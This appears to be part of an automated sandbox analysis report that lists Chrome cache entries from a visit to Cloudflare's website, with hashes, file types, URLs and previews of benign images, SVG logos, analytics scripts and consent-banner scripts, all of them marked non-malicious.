Encrypted:	false
SSDEEP:	48:fDepkJuaEsLUzzz/PF8lfFe6Q+iM6E/CZ:f130X5YOpCCZ
MD5:	F37361EB5E82E5BBFFD041EA6EC63BC5
SHA1:	5F99D9F7A499221F95431EFC4C3251852BDCEBCE
SHA-256:	3B122A18DD2E5CE4EEB1438ACB305EDF5119FA822A0188B584CA7EC1ED3482B1
SHA-512:	A384967E1FA82CD155389AF901905BC546C3CF3B39B09B5C723F411F7EFFDD977DDDE79ADC4D07A3A8415472DB6C0CB8585DE8F695BA451B51A242B998AB2B92
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/3fy2mc73AF9xqD18C5760R/f46ab68d38c9adb30a639f69589d8af0/doordash_134.png
Preview:	RIFF....WEBPVP8Lx.../....p.. .?... ...m.........Y.m.m.m.[...n..O..n.F....^uz..a#....A._.,.Pa+C......!.....a....r.........~...3,R...Cx.dd...S..Kmgs...+.@.\...t......>..#'.p}.y......>..]X@_....F.l........V).F.j.;.P..,..z%"..O7..Q.P+&../gI......&o.:.jTz.&`.......?.../.w..\|W).....R`..T=.i......S.5;.<8Xh...WE...........v.I.......u...CZ=UT...;....B..sT1..._.9..x...Nb.j.j!"r.x...H.$>...4...4X.....=.Y..".1.<.......W %.....$.b.z1I....I..y....z.W.p.<yC.....95.!I..I.H.o....l....H7..t....t..O.Te"km..u<..o.X.gDN..L........Dva.3.Yz..&..j...2.5...A"o.0..B<.1..!b...$..............9.p...L..qR.n28...Az...... ......l....G....G.Mo.9.r.8..s.H...uI..Z......d.`...eP..UE.L@_kOT..#....9.......[@....D.....'...D.O..x8.t.g.#..S..1.`.DvL.....UDv..H.W0@...m3W..L.Y...D.T.=\n..f.U..y.....X....2.<lI.].Ct..X....)...=...@......[...p@...........p.I.:D..klFd.....X.DDd3...~V.....O...p..gs...11..y...\|(PF.........8..o..."/.fIHq\.N.V.P ".K......:.l.).....v..[.t....&:.[:I......V...~...T..

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23149
Entropy (8bit):	4.761139865952874
Encrypted:	false
SSDEEP:	384:VRqTeTcT+2KbBnQ7REs3SFZ/HltIVIb8e:TqqcT+2KbBnQ7R4IV68e
MD5:	7244A1B78154CDE963F0805D34ADB1FB
SHA1:	AE3D2C1A24E795F7AFD3EAA3D340BC9F1FAAF0BA
SHA-256:	4BA691AE5B91E9D66C1DDCBABC6574099B9D2F5DD7AB3B7CE6A9CDF23CB23956
SHA-512:	BE97D48497F5691618F45A3AC03E2FF481DB536A4A6332A2A5E20CFA663CAB8781968B1938517C378D234E7DFD544B46F57C399D2579333CEAAC54E6DC9DFA9F
Malicious:	false
Reputation:	low
Preview:	{"fields":[{"id":"FirstName","label":"First Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":0,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"LastName","label":"Last Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":1,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Phone","label":"Phone:","dataType":"telephone","validationMessage":"Must be a phone number. <span class='mktoErrorDetail'>503-555-1212</span>","rowNumber":2,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Email","label":"Work Email:","dataType":"email","validationMessage":"Must be valid email. <span class='mktoErrorDetail'>example@yourdomain.com</span>","rowNumber":3,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}}

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32740)
Category:	dropped
Size (bytes):	35815
Entropy (8bit):	5.320582095062312
Encrypted:	false
SSDEEP:	768:Yyc/Fw3mNF/i3r5lzh0Aq9JQxpTQuVDfDRVNKy/IQCKmYP3:rAFw3+F/UFthQ9uphcq13
MD5:	964F8CB588092AC645368E7307EB73AC
SHA1:	E01FEAB6AB013563A03E9536A71F1794021A2713
SHA-256:	F012C00D43164A4DE843AE80ABEFE500F8497E1123D11C965CD3B40600FE9720
SHA-512:	F2182FE74F46C7AA11FFB0F36BB93E7E5BE6BACEDF0D98840B8A0EA68D09281342A91570B0B8C0B04E12CC2F10C139A3E918642F8E1F4DCF74A9D1E321128A90
Malicious:	false
Reputation:	low
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement.js`..function AppMeasurement(e){var t=this;t.version="2.26.0";var n=window;n.s_c_in\|\|(n.s_c_il=[],n.s_c_in=0),t._il=n.s_c_il,t._in=n.s_c_in,t._il[t._in]=t,n.s_c_in++,t._c="s_c";var a=n.AppMeasurement.Bc;a\|\|(a=null);var i,r,o,c=n;try{for(i=c.parent,r=c.location;i&&i.location&&r&&""+i.location!=""+r&&c.location&&""+i.location!=""+c.location&&i.location.host===r.host;)i=(c=i).parent}catch(e){}t.log=function(e){try{console.log(e)}catch(e){}},t.$a=function(e){return""+parseInt(e)==""+e},t.replace=function(e,t,n){return!e\|\|0>e.indexOf(t)?e:e.split(t).join(n)},t.escape=function(e){var n,a;if(!e)return e;for(e=encodeURIComponent(e),n=0;7>n;n++)a="+~!*()'".substring(n,n+1),0<=e.indexOf(a)&&(e=t.replace(e,a,"%"+a.charCodeAt(0).toString(16).toUpperCase()));return e},t.unescape=function(e){if(!e)return e;e=0<=e.indexOf("+")?t.replace(e,"+"," "):e;try{return decodeURIComponent(e

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	129418
Entropy (8bit):	5.955981378724436
Encrypted:	false
SSDEEP:	3072:pk1myvXD9d2AMJHfRWVaXkIcfVgKkiMJN+qwjWCAIucJ:C1XD/2aEkIctgKk5gqwjWnc
MD5:	30FB390F2A40966D0B5FAB98BB94864D
SHA1:	BE6DBF5FF51A541E72E1D138C5448D8B01FE6032
SHA-256:	8504B26F353B9B16990A8A42603211806DAE5E475359FA449D6C792853A621CD
SHA-512:	91DA5F3F6F0A18B0D93A1C496028B42B1592CA674F95569DD275E1E688B9608B5F24B065F525CE7797A6F85B9667B8458F7E785FCEFDED9ACA754614FA27AF7F
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/static/enablement-background-6de78040ef0acc8d2e8a596988c5f5d8.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1128". height="400" fill="none" viewBox="0 0 1128 400">. <g clip-path="url(#a)">. <path fill="#fff" d="M0 0h1128v400H0z" />. <path fill="url(#b)" d="M0 0h1128v630.645H0z" transform="matrix(-1 0 0 1 1128 -177)" />. </g>. <defs>. <clipPath id="a">. <path fill="#fff" d="M0 0h1128v400H0z" />. </clipPath>. <pattern id="b" width="1" height="1" patternContentUnits="objectBoundingBox">. <use xlink:href="#c" transform="scale(.00049 .00087)" />. </pattern>. <image. xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACAAAAAR5CAYAAABZKuVNAAAABHNCSVQICAgIfAhkiAAAIABJREFUeJzs/Wm25LiVLdyCHq4iVTbm9fu17UqpzIzC/fD7YY4AT20FSWxgzzlG3Ii8CskNWAukGQmjLd////+/taylWcr91s//Fd62PDTxE9KlOGQBc7Gm2YsuxTJyHjO8DR55/olHn+KQRRw3ZTHBiWWCIYRkTcchC/aiS/f5qdcffGdgzotUusCWPnzk/772fgXwpqV4AxeFLNjD9mSsT31Z0+xFl3jEbB/SrAf2pE9xyCKOm7JYy5AnmgFfMkB3ztXPLaWUL71fxEsPBOTcSKULVLpwtX03ADjh3m0tq6cAvKRP

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5370
Entropy (8bit):	4.9673059804741815
Encrypted:	false
SSDEEP:	96:opymbD40wUwp8teWiYpdGHxYa6AyMXV1jfjomjJjFZZ2yD8A:5UW8wWiYpk6vMXPboSJppQA
MD5:	A5CC9C99381F1547749EDFCE79D5F816
SHA1:	17D28AC1DC83D61B7731F8526DC44BE0396450D5
SHA-256:	265B6BC0E2D3D622641A3F697D9907C907D2786FC5CAC171E5920880D36957DE
SHA-512:	566875699F679427B10273F2468032EAC4933682A801BA0F6DB7A9094EAC46BCCB27D4D606A134D048569079EE93830E229ED838DD565EC8E84CF9101EC4CD29
Malicious:	false
Reputation:	low
URL:	https://ot.www.cloudflare.com/public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json
Preview:	{"CookieSPAEnabled":true,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"202407.2.0","OptanonDataJSON":"b1e05d49-f072-4bae-9116-bdb78af15448","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","BulkDomainCheckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"018debfb-4ca4-7537-992d-44786afb66f9","Name":"EU only","Countries":["no","de","be","fi","pt","bg","dk","lt","lu","hr","lv","fr","hu","se","si","mc","sk","mf","sm","gb","yt","ie","gf","ee","mq","mt","gp","is","it","gr","es","re","at","cy","cz","ax","pl","li","ro","nl"],"States":{},"LanguageSwitcherPlaceholder":{"de":"de","default":"en"},"BannerPushesDown":false,"Default":false,"Global":false,"Type":"GDPR","UseGoogleVendors":false,"VariantEnabled":false,"TestEndTime":null,"Variants":[],"TemplateName":"GDPR Template","Conditions":[

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1273
Entropy (8bit):	4.25044752600902
Encrypted:	false
SSDEEP:	24:tCb8EAu334Y5jidiXbK6UQiI7aCRGkIlV83eQMY5SESMuX5/W9bZbc0Un9l8GXAl:/Wom3bK47P8yn5OpXQRtbUn9mGXAl
MD5:	F754034F42CC256E4AF70BB003F8DE26
SHA1:	07EC764FC63F61F49CC3C206173866933123D215
SHA-256:	FD9DD3E223096582809C7AB18999463F734ACE15492DCB01AD98002325406064
SHA-512:	B1DCF45AD7208562848DBF286769BD3BC28AC4EA877F07DD62E7F4C5A1335288D79E965D05F608C5025C608F9DB4C1815E04B8C965DF98BFAD85C0E24D794926
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M23.9708 27.75C26.0419 27.75 27.7208 26.0711 27.7208 24C27.7208 21.929 26.0419 20.25 23.9708 20.25C21.8997 20.25 20.2208 21.929 20.2208 24C20.2208 26.0711 21.8997 27.75 23.9708 27.75Z" fill="#FF6633"/>.<path d="M45.4185 22.5H41.9183C41.562 18.2636 39.7182 14.2898 36.7133 11.2823C33.7084 8.27473 29.7362 6.42748 25.5 6.06754V2.58154H22.5V6.06754C18.2639 6.42748 14.2917 8.27473 11.2868 11.2823C8.28186 14.2898 6.43805 18.2636 6.08179 22.5H2.58154V25.5H6.08404C6.44741 29.7306 8.29403 33.6966 11.2978 36.6978C14.3015 39.6989 18.2692 41.5421 22.5 41.9018V45.4185H25.5V41.9018C29.7309 41.5421 33.6985 39.6989 36.7023 36.6978C39.7061 33.6966 41.5527 29.7306 41.916 25.5H45.4185V22.5ZM25.5 38.8935V31.575H22.5V38.8928C19.0661 38.5422 15.8579 37.0189 13.4158 34.5795C10.9736 32.1401 9.44676 28.9336 9.09229 25.5H16.425V22.5H9.09079C9.43793 19.0603 10.9618 15.8459 13.405 13.3999C15.8481 10.9539 19.060

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	dropped
Size (bytes):	1564703
Entropy (8bit):	5.09298694923112
Encrypted:	false
SSDEEP:	3072:viEXy6L6iY06OqtEX6yCm7hYCS4+LiEXy6L8s22UuLoDBIaqWuF:v/PJ6IKyj7hgj/8hUoOa9Y
MD5:	9C5A86A78C2747E5F2C7FB044B48F41A
SHA1:	17D1805C6CDBBAF716583AA4C8B5640C3B57F8D7
SHA-256:	96D6FA018515955FAD7DC4181FDE0EF1D270ED5070EB541D3E1AB141DD1D3740
SHA-512:	C27D1A38B1770459533EC8261F988C3DB5BC8415E791C4E8AC0F314A5926DC34F58C43E80DA5FD4E4CD3A0FCAF50A5AE921C85C5222A0C692FCE6B056AE6817A
Malicious:	false
Reputation:	low
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/plans/","result":{"data":{"page":{"pageName":"Plans and Pricing Page (LIVE /plans/) ","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"English for Locale","enCA":"English for Locale","enIN":"English for Locale","enGB":"English for Locale","nlNL":"Translated for Locale","idID":"English for Locale","thTH":"Translated for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"Translated for Locale","trTR":"Translated for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"plans","topNavOptions":"custom","topNavButto

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3397
Entropy (8bit):	4.050782030370807
Encrypted:	false
SSDEEP:	48:C8SgmD/D5ZHz44DuNzmjeaeAfshwR4/J/GMTYwU4liTIMVKBN4H0drfFMzHU7VM:uHzpDuNzkeFCixGMTLUChaYqzH7
MD5:	2BD82C17E6DC90A16E6877F133329444
SHA1:	01F9E5676187F034A858AE6AD3EC70654EA5DDE4
SHA-256:	E8D5CA786CD81C067486D3914AD035A5FF3CCA6C4C8BCD6A0237C1D6BD4CF95F
SHA-512:	0E845DE9A144F25E5E3FB7356AE5ED96B92C2A1DBE512E44237B4FB0E48BE4EA965D64940D9043ECF3C708FEF6D106B842E3F3AD9B32A4D4D3CEAE7FF6019176
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/26kszL2y2X7zTR2edZPDUY/1a9d00bc8c441346e6dd06bd82204972/logo_ncr_gray_32px-wrapper.svg
Preview:	<svg width="112" height="32" viewBox="0 0 112 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M67.7432 17.9856C67.7432 17.9856 67.515 17.164 67.515 16.5705V7.07552H71.3039V25.3351L59.1612 15.2923C58.4765 14.7446 58.1113 14.1055 58.1113 14.1055C58.1113 14.1055 58.2939 14.7902 58.2939 15.3836V24.9699H54.505V6.71033L66.5564 16.5705C67.1498 17.164 67.7432 17.9856 67.7432 17.9856Z" fill="#404242"/>.<path d="M102.071 7.07556C108.097 7.07556 109.649 9.44931 109.649 12.873C109.649 15.338 107.823 17.7574 104.171 18.0313L103.76 18.077C103.76 18.077 104.125 18.1226 104.491 18.4878L111.155 24.9243H106.043L96.7303 15.475H101.341C105.495 15.475 105.586 13.2838 105.632 12.736C105.677 11.3209 105.267 10.1797 102.117 10.1797H96.8216V24.97H92.8958V7.12121H102.071V7.07556Z" fill="#404242"/>.<path d="M72.9928 16.251C72.9928 8.76454 79.2467 6.80164 84.542 6.80164C86.6419 6.80164 88.5135 6.98423 90.4764 7.39507V11.1839C89.3352 10.8644 87.0984 10.0884 84.542 10.0884C79.5663 10.0884 77.1469 12.00

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4776
Entropy (8bit):	4.402547735060609
Encrypted:	false
SSDEEP:	96:HfUyhetZ3+A/5i7VhE2AzF7MQ5lrZxG65Ktc19HFUmH/PKk4o8/+5vPo5/DSsk8:HMysRgfWzFVpZxG65K21nUmH/Pl0+53A
MD5:	82A73AAB9040A829207EF10E8859E3EF
SHA1:	316BA73DB0DE11B13891813A8B218DF70987D39B
SHA-256:	70D183C4437B634B784F1D1C336F9A062E60EDC173AFE881E5ED867FD81AFA21
SHA-512:	42C1D87C0449B29069C61CA9AA58655575E854925464876CF88DDBD50B4D611F580A947C9B03BAF0F61C67034837B9D0B964C2DEFF7A77066F1D98D20F5D9961
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/1AsuJijKk8EMH5s1ae56nx/b13406881aa864b7e17b2233a0d090ef/logo_labcorp_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M40.9233 0.330688H46.4731V15.6202H52.5007V20.1041H40.9233V0.330688Z" fill="#4E4E4E"/>.<path d="M65.4012 17.8621C65.4012 18.6339 65.585 19.369 65.9158 20.0673H60.8805C60.6968 19.5528 60.6233 19.0015 60.6233 18.4869L60.5865 18.4502C59.9617 19.9203 58.6018 20.4349 57.0582 20.4349C54.1914 20.4349 52.9785 18.928 52.9785 16.0244C52.9785 12.7166 54.5222 11.7978 56.5436 11.32L59.0428 10.7319C60.1455 10.4747 60.5497 10.1439 60.5497 9.18828C60.5497 8.45321 60.1087 8.01216 59.5206 8.01216C58.3813 8.01216 58.2343 8.8575 58.2343 9.73958H53.5298C53.5298 6.39501 55.294 4.70435 59.5574 4.70435C64.4456 4.70435 65.438 6.68904 65.438 9.00451V17.8621H65.4012ZM60.5497 12.8269C60.219 13.0474 59.8147 13.1944 59.2266 13.4149C58.3445 13.7457 58.1975 14.444 58.1975 15.3261C58.1975 16.2082 58.5283 16.833 59.2634 16.833C60.3292 16.833 60.5497 15.8774 60.5497 14.9953V12.8269Z" fill="#4E4E4E"/>.<path d="M66.39

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6371), with no line terminators
Category:	dropped
Size (bytes):	6371
Entropy (8bit):	5.434378596461589
Encrypted:	false
SSDEEP:	96:lJscEBqZQ4rtWl8+HlvJni+ZHI0ZFUl4NJBDUn5tlR7OIVVsMVX6yPA6a0KcOHY:lGBDGt0HlRi+ZHhFUiO9sI9tre0CY
MD5:	156BBA28F30BAE17662AB52E2B4EAE58
SHA1:	2520F57B04BD084D2105EA3F903F55E95AE64567
SHA-256:	E341B8206FEF41104A11C3FF2BF187D6018248BBDD619C2E84B1BEEA40F0DA42
SHA-512:	B7CC927949A00A5889D2C4E6BDA906A404FD602CD7B3B483791D213985FD5987E4F62910FB6280E6DD29644E59BDD06FED748C6F1C166F19DAD7959D235B4B8A
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";var e,t,n,r,o,c={},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;var n=a[e]={id:e,loaded:!1,exports:{}};return c[e].call(n.exports,n,n.exports,s),n.loaded=!0,n.exports}s.m=c,e=[],s.O=function(t,n,r,o){if(!n){var c=1/0;for(d=0;d<e.length;d++){n=e[d][0],r=e[d][1],o=e[d][2];for(var a=!0,f=0;f<n.length;f++)(!1&o\|\|c>=o)&&Object.keys(s.O).every((function(e){return s.O[e](n[f])}))?n.splice(f--,1):(a=!1,o<c&&(c=o));if(a){e.splice(d--,1);var i=r();void 0!==i&&(t=i)}}return t}o=o\|\|0;for(var d=e.length;d>0&&e[d-1][2]>o;d--)e[d]=e[d-1];e[d]=[n,r,o]},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return s.d(t,{a:t}),t},n=Object.getPrototypeOf?function(e){return Object.getPrototypeOf(e)}:function(e){return e.__proto__},s.t=function(e,r){if(1&r&&(e=this(e)),8&r)return e;if("object"==typeof e&&e){if(4&r&&e.__esModule)return e;if(16&r&&"function"==typeof e.then)return e}var o=Object.create(null);s.r(o);var c={};t=t\|\|[null,

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	462402
Entropy (8bit):	5.358849106002725
Encrypted:	false
SSDEEP:	6144:OqRYlADxBldE7qZ8NdrcQNG6JMHVc/cHf4N5O7PqsCSls:3SADxBldE7qZW/c7bqSO
MD5:	A64729A4F0DD7DB3CDF3DC855DF2C77A
SHA1:	4C40360660AC023ED61BD5D0C2C55502E45FFCF1
SHA-256:	BB60550070F9A5CE5D91B9CB0D34EE6777A3DCB25DE950CB185D1C2B624B2590
SHA-512:	7C428D737817813F291E499966753FFF6DF46168D4A851A24959D54D65A7E45E862E888CED3240708BFF5A5154FA64F6C40AEA9CF394ECC86B6ED0B03553A1CF
Malicious:	false
Reputation:	low
URL:	https://ot.www.cloudflare.com/public/vendor/onetrust/scripttemplates/202407.2.0/otBannerSdk.js
Preview:	/** . * onetrust-banner-sdk. * v202407.2.0. * by OneTrust LLC. * Copyright 2024 . */.!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}))(e,t)};function D(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function o(){this.constructor=e}x(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function u(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.value):((t=e.value)instanceof a?t:new a(fun

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	40245
Entropy (8bit):	3.688097585256689
Encrypted:	false
SSDEEP:	768:LN9jzBAIbAkMsVg2m+2gdsFguBx/kQ9nYYGn0htIqBLpffiYaILAg5:L/X1SHuQ9nYYYWzBLF6YagAi
MD5:	8700E89879F875A08B6769B1583CF270
SHA1:	1BAB2E73C9D414F2061AA49729AFC1CF3F457D5D
SHA-256:	92FB872E7AF55384FB5E0319781ECBC0896A8069656F377D567A5BA1D10A8859
SHA-512:	ED69E6AB1FE6B73F2E1A7F61156B8F81904372FFC4C24F7DFE8E68C248BC0A4F27464EA3B323458E8ECBD9AC2EF891CF09F1099555048B29E98C7A3C480BC1B9
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/3JniCZlkcKI9iHgormG8j3/b94cf97c93844f2db74d566fc512aef1/logo_thomson-reuters_gray_32px-wrapper.svg
Preview:	<svg width="198" height="32" viewBox="0 0 198 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M11.9044 17.4523C12.1436 17.3998 12.2961 17.1606 12.2544 16.9173C12.2011 16.6685 11.9598 16.4985 11.7169 16.5615C11.6588 16.5707 11.6032 16.5917 11.5534 16.6232C11.5037 16.6546 11.4608 16.6959 11.4275 16.7444C11.3942 16.7929 11.3711 16.8477 11.3596 16.9054C11.3481 16.9632 11.3485 17.0226 11.3607 17.0802C11.4107 17.336 11.6511 17.5106 11.904 17.4519L11.9044 17.4523ZM21.1526 15.5223C21.3922 15.4669 21.543 15.2294 21.5026 14.9865C21.4484 14.7336 21.2051 14.564 20.9651 14.6281C20.7093 14.6681 20.561 14.9144 20.6085 15.1506C20.6568 15.4015 20.9001 15.5748 21.153 15.5215L21.1526 15.5223ZM13.0152 19.4981C13.1469 19.3927 13.2325 19.2402 13.2539 19.0729C13.2753 18.9056 13.2308 18.7365 13.1298 18.6014C12.9006 18.3373 12.5065 18.2889 12.2323 18.496C11.9657 18.6993 11.9157 19.1014 12.1352 19.3768C12.3419 19.6502 12.7427 19.7185 13.0144 19.4989L13.0152 19.4981ZM20.5751 13.5627C20.8593 13.3311

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57671), with no line terminators
Category:	downloaded
Size (bytes):	57671
Entropy (8bit):	5.406436595808325
Encrypted:	false
SSDEEP:	1536:buM99dAoLYPNh7S5BTF94zGnSJpSFD2No5/g:buMdAVNiTF94zGnSJpSFDr5/g
MD5:	BBBCF811D8437A575D796A4C1E5D4FAD
SHA1:	CCE821AAE4F2B8982D9C08B308FB5306945EA68E
SHA-256:	4D15FF2317E16CCD8CA1D3248FEA7D91130E022369BB032824A84AD9967064DF
SHA-512:	6D0E3E9079DB4C175F0E8EC0279E9A89DF786D226685C0764AB20179D69E19CA269E8CC40646A97D31F95597654EC869472358BB72071011DF3410FC32E501C0
Malicious:	false
Reputation:	low
URL:	https://static.ads-twitter.com/uwt.js
Preview:	!function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=globalThis.crypto),!r&&"undefined"!=typeof window&&window.msCrypto&&(r=window.msCrypto),!r&&void 0!==n.g&&n.g.crypto&&(r=n.g.crypto),!r)try{r=n(2480)}catch(t){}var i=function(){if(r){if("function"==typeof r.getRandomValues)try{return r.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof r.randomBytes)try{return r.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")},o=Object.create\|\|function(){function t(){}return function(e){var n;return t.prototype=e,n=new t,t.prototype=null,n}}(),a={},c=a.lib={},u=c.Base={extend:function(t){var e=o(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	low
URL:	https://www.google.com.sg/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	294583
Entropy (8bit):	5.22297217188849
Encrypted:	false
SSDEEP:	3072:yiEXy6LizpoU1xS5VFPiEXy6L8M22UuLoDBIaqWuF:y/Qy5Vl/8BUoOa9Y
MD5:	4943491331B35F1FE79E66795028CCBD
SHA1:	201B4EC70EBF395B13AF063B2CF45062B760EF5A
SHA-256:	0C07C8993074209F9E1676C484166B39339EDD31FDB34E8394C34DB17216B4C8
SHA-512:	EDA7290A2B9906DDB65CE63D14624722B77A9AAC439C909C7929D50D052EE8A48EA23240B71CF977532A85ED76FCA019CF4EBE65BC4F530BE602CB2824C505DB
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/page-data/index/page-data.json
